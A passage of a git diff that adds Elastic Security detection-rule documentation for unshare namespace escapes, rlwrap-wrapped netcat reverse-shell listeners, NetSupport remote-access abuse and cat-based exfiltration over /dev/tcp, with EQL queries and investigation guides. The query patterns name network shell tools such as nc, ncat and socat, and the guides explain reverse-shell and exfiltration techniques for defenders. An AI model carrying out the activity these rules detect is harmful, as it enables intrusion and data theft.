Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-namespace-manipulation-using-unshare.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-namespace-manipulation-using-unshare.asciidoc new file mode 100644 index 0000000000..0d4aa07c95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-namespace-manipulation-using-unshare.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-20-namespace-manipulation-using-unshare]] +=== Namespace Manipulation Using Unshare + +Identifies suspicious usage of unshare to manipulate system namespaces. Unshare can be utilized to escalate privileges or escape container security boundaries. Threat actors have utilized this binary to allow themselves to escape to the host and access other resources or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man1/unshare.1.html +* https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Namespace Manipulation Using Unshare* + + +The `unshare` command in Linux is used to create new namespaces, isolating processes from the rest of the system. This isolation is crucial for containerization and security. However, attackers can exploit `unshare` to break out of containers or elevate privileges by creating namespaces that bypass security controls. The detection rule identifies suspicious `unshare` executions by monitoring process starts, filtering out benign parent processes, and focusing on unusual usage patterns, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process tree to understand the context of the unshare execution, focusing on the parent process and any child processes spawned by unshare. +- Investigate the user account associated with the unshare execution to determine if it is a legitimate user or potentially compromised. +- Examine the command-line arguments used with unshare to identify any unusual or suspicious options that may indicate an attempt to bypass security controls. +- Check for any recent changes or anomalies in the system logs around the time of the unshare execution to identify potential indicators of compromise or privilege escalation attempts. +- Correlate the unshare event with other security alerts or logs to determine if it is part of a larger attack pattern or campaign. + + +*False positive analysis* + + +- System management tools like udevadm and systemd-udevd may invoke unshare as part of their normal operations. These should be excluded by ensuring the rule filters out processes with these as parent executables. +- Snap package management can trigger unshare during its operations. Exclude processes where the arguments include /usr/bin/snap to prevent unnecessary alerts. +- Java applications might occasionally use unshare for legitimate purposes. Exclude processes with java as the parent name to reduce false positives. +- Custom scripts or administrative tasks that use unshare for legitimate namespace management should be reviewed and, if deemed safe, added to the exclusion list to prevent repeated alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or lateral movement within the network. +- Terminate any suspicious processes associated with the `unshare` command that do not have legitimate parent processes or arguments, as identified in the detection query. +- Conduct a thorough review of system logs and process trees to identify any additional unauthorized or suspicious activities that may have occurred in conjunction with the `unshare` execution. +- Revoke any unauthorized access or privileges that may have been granted as a result of the namespace manipulation, ensuring that all user and process permissions are appropriately restricted. +- Restore the affected system from a known good backup if any unauthorized changes or damage to the system integrity are detected. +- Implement additional monitoring and alerting for unusual `unshare` usage patterns to enhance detection capabilities and prevent future occurrences. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action : ("exec", "exec_event", "start") and +process.executable: "/usr/bin/unshare" and not ( + process.parent.executable: ("/usr/bin/udevadm", "*/lib/systemd/systemd-udevd", "/usr/bin/unshare") or + process.args == "/usr/bin/snap" and not process.parent.name in ("zz-proxmox-boot", "java") or + process.parent.args like ( + "/etc/kernel/postinst.d/zz-proxmox-boot", "/opt/openssh/sbin/sshd", "/usr/sbin/sshd", + "/snap/*", "/home/*/.local/share/JetBrains/Toolbox/*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-netcat-listener-established-via-rlwrap.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-netcat-listener-established-via-rlwrap.asciidoc new file mode 100644 index 0000000000..f35ccfcbf8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-netcat-listener-established-via-rlwrap.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-netcat-listener-established-via-rlwrap]] +=== Netcat Listener Established via rlwrap + +Monitors for the execution of a netcat listener via rlwrap. rlwrap is a 'readline wrapper', a small utility that uses the GNU Readline library to allow the editing of keyboard input for any command. This utility can be used in conjunction with netcat to gain a more stable reverse shell. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Netcat Listener Established via rlwrap* + + +Netcat, a versatile networking tool, can establish connections for data transfer or remote shell access. When combined with rlwrap, which enhances command-line input, it can create a more stable reverse shell environment. Adversaries exploit this to maintain persistent access. The detection rule identifies such misuse by monitoring rlwrap's execution with netcat-related arguments, signaling potential unauthorized activity. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of rlwrap with netcat-related arguments by examining the process.name and process.args fields. +- Check the process start time and correlate it with any known scheduled tasks or user activity to determine if the execution was expected or authorized. +- Investigate the source IP address and port used in the netcat connection to identify potential external connections or data exfiltration attempts. +- Analyze the user account associated with the process execution to verify if the account has a history of similar activities or if it has been compromised. +- Examine any related network traffic logs to identify unusual patterns or connections that coincide with the alert, focusing on the host where the process was executed. +- Look for any additional processes spawned by the netcat listener to detect further malicious activity or persistence mechanisms. + + +*False positive analysis* + + +- Development and testing environments may frequently use rlwrap with netcat for legitimate purposes, such as testing network applications or scripts. To manage this, create exceptions for specific user accounts or IP addresses known to be involved in development activities. +- System administrators might use rlwrap with netcat for troubleshooting or network diagnostics. Identify and exclude these activities by setting up rules that recognize the specific command patterns or user roles associated with administrative tasks. +- Automated scripts or cron jobs that utilize rlwrap and netcat for routine maintenance or monitoring can trigger false positives. Review and whitelist these scripts by their unique process identifiers or command structures to prevent unnecessary alerts. +- Educational or training environments where rlwrap and netcat are used for learning purposes can generate alerts. Implement exceptions based on the environment's network segment or user group to reduce noise from these benign activities. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate the rlwrap and netcat processes on the affected host to disrupt the reverse shell connection. +- Conduct a forensic analysis of the affected system to identify any additional malicious activities or persistence mechanisms. +- Review and secure any compromised accounts or credentials that may have been used or accessed during the incident. +- Apply security patches and updates to the affected system to mitigate any exploited vulnerabilities. +- Enhance monitoring and logging on the affected host and network to detect similar activities in the future. +- Report the incident to the appropriate internal security team or external authorities if required, following organizational protocols. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2") and + process.name == "rlwrap" and process.args in ("nc", "ncat", "netcat", "nc.openbsd", "socat") and + process.args : "*l*" and process.args_count >= 4 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-netsupport-manager-execution-from-an-unusual-path.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-netsupport-manager-execution-from-an-unusual-path.asciidoc new file mode 100644 index 0000000000..734d7e60dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-netsupport-manager-execution-from-an-unusual-path.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-netsupport-manager-execution-from-an-unusual-path]] +=== NetSupport Manager Execution from an Unusual Path + +Identifies execution of the NetSupport remote access software from non-default paths. Adversaries may abuse NetSupport Manager to control a victim machine. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.netsupportsoftware.com/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating NetSupport Manager Execution from an Unusual Path* + + + +*Possible investigation steps* + + +- What is the alerting process and how did NetSupport reach this host from a non-default path? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate when the client is unsigned, portable, or mismatched to its original file name, or when the parent chain starts from a script host, archive utility, browser, or Office process; lower suspicion when signer, path, and parent chain resolve to a recognized deployment. Identity alone does not clear the behavior. + +- Does the client or child command line show recognized deployment behavior or covert control intent? + - Focus: `process.command_line`, `process.working_directory`, and `process.parent.command_line`, with attention to connection targets, relay parameters, and hidden or scripted launch behavior. + - Hint: if the alert fired on a child process and the parent command line is absent or truncated, recover the NetSupport client start event on the same `host.id` before judging deployment or relay intent. + - Implication: escalate when the command line reveals external control targets, stealthy launch parameters, or deployment behavior that does not fit expected support tooling; lower suspicion when the arguments match a recognized support or managed rollout workflow. + +- Do network events show expected support infrastructure or suspicious relay traffic? + - Focus: process-scoped DNS and connection events for `process.entity_id`, checking `dns.question.name`, `dns.resolved_ip`, `destination.ip`, `destination.port`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network activity for the NetSupport process","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process reaches rare public destinations or unexpected relay infrastructure; lower suspicion when destinations align with known internal support infrastructure. Missing network telemetry is unresolved, not benign. + +- Do file events show staged components, renamed NetSupport files, or persistence artifacts? + - Focus: file events scoped to `process.entity_id`: `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, `file.Ext.header_bytes`, and adjacent NetSupport files ("client32u.ini", "NSM.lic", "NSM.ini", "CKSINI.EXE"). + - Implication: escalate when the process writes portable components, renamed files, or bundled config/license files, or when artifacts later appear in persistence or execution telemetry; lower suspicion when file activity stays in a recognized installation path with no suspicious reuse. + +- Do child processes launched from NetSupport show interactive abuse beyond normal support? + - Focus: child process events from `process.entity_id`, checking `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child processes launched by the NetSupport client","providers":[[{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when NetSupport spawns shells, scripting engines, archivers, credential tools, or other hands-on-keyboard tooling; lower suspicion when child activity stays limited to expected helper processes or no secondary execution follows. + +- If the local evidence stays suspicious, does this host or user show related alerts or a recurring deployment pattern? + - Focus: related alerts for `host.id` and `user.id` in the last 48 hours, checking for delivery, persistence, remote-access, or credential activity, and whether the same client path, signer, and destination pattern recur across prior alerts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if workflow documentation is unavailable, recurrence of the same client path, signer, and destination pattern across prior alerts is the strongest telemetry-based benign signal. + - Implication: broaden when the host or user shows suspicious precursor, follow-on, or cross-host activity; lower suspicion when the same deployment pattern recurs with no contradictory alerts. + +- Escalate when binary identity, launch chain, network destinations, staged artifacts, or child-process behavior point to unauthorized NetSupport deployment or interactive abuse; close only when all evidence aligns with a recognized support deployment; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Legitimate IT support or managed deployment can stage NetSupport in non-default paths. Confirm it when the client is signed by NetSupport Ltd, the parent is an IT deployment tool (SCCM, GPO, management agent), bundled config files (client32u.ini, NSM.lic) sit alongside the client in the same directory, and network destinations resolve to internal support infrastructure. +- Before creating an exception, build on `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, `user.id`, and `host.id`. Avoid exceptions on `process.name` alone, the user alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document `process.executable`, `process.code_signature.subject_name`, `process.parent.executable`, the destination pattern, and the `user.id`/`host.id` pairing. Create an exception using the fields from the FP guidance above. +- If suspicious but unconfirmed, preserve the alert's `process.entity_id`, client path, signer, `process.command_line`, related `file.path` values, child-process lineage, and any linked `destination.ip`, `dns.question.name`, or `dns.resolved_ip` values. Apply reversible containment such as temporary blocking of confirmed destinations. Escalate to host isolation only when live remote control or lateral movement is still plausible and the asset can tolerate it. +- If confirmed malicious, use endpoint response to contain the host after recording the alert's `process.entity_id`, client path, signer, command line, child-process details, written artifact paths, and confirmed destinations. If direct endpoint response is unavailable, escalate with that evidence set to the team that can terminate the process, isolate the host, and block the malicious destinations and dropped artifact hashes identified during the investigation. +- Before deleting files or removing access, review the same client path family, destinations, bundled config or license files, and dropped artifact names across other hosts and users so portable staging or shared controller infrastructure does not stay localized by mistake. Then eradicate the unauthorized NetSupport client, persistence mechanism, installer artifacts, and follow-on tooling uncovered during the file and child-process review. +- Post-incident hardening: restrict remote-access tool installs to approved signed packages and approved paths, review software-allowlisting or deployment controls that allowed the portable client to run, and retain endpoint process, file, and network telemetry. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "client32.exe" or ?process.pe.original_file_name == "client32.exe" or process.parent.name : "client32.exe") and + ( + process.executable : + ("?:\\Users\\*.exe", + "?:\\ProgramData\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\*.exe") or + ?process.parent.executable : ("?:\\Users\\*\\client32.exe", "?:\\ProgramData\\*\\client32.exe") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-detected-via-cat.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-detected-via-cat.asciidoc new file mode 100644 index 0000000000..783e74c358 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-detected-via-cat.asciidoc @@ -0,0 +1,196 @@ +[[prebuilt-rule-8-19-20-network-activity-detected-via-cat]] +=== Network Activity Detected via cat + +This rule monitors for the execution of the cat command, followed by a connection attempt by the same process. Cat is capable of transfering data via tcp/udp channels by redirecting its read output to a /dev/tcp or /dev/udp channel. This activity is highly suspicious, and should be investigated. Attackers may leverage this capability to transfer tools or files to another host in the network or exfiltrate data while attempting to evade detection in the process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Activity Detected via cat* + + +Attackers may leverage the `cat` utility in conjunction with a listener to read all bytes of a file, and output the content to a `/dev/tcp` or `/dev/udp` channel to transfer/exfiltrate file contents to a remote system. + +This rule looks for a sequence of a `cat` execution event followed by a network connection attempt by the same `cat` process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate command and control activity or data exfiltration. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Suspicious Network Activity to the Internet by Previously Unknown Executable - 53617418-17b4-4e9c-8a2c-8deb8086ca4b + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "cat" and process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] + [network where host.os.type == "linux" and event.action in ("connection_attempted", "disconnect_received") and + process.name == "cat" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + 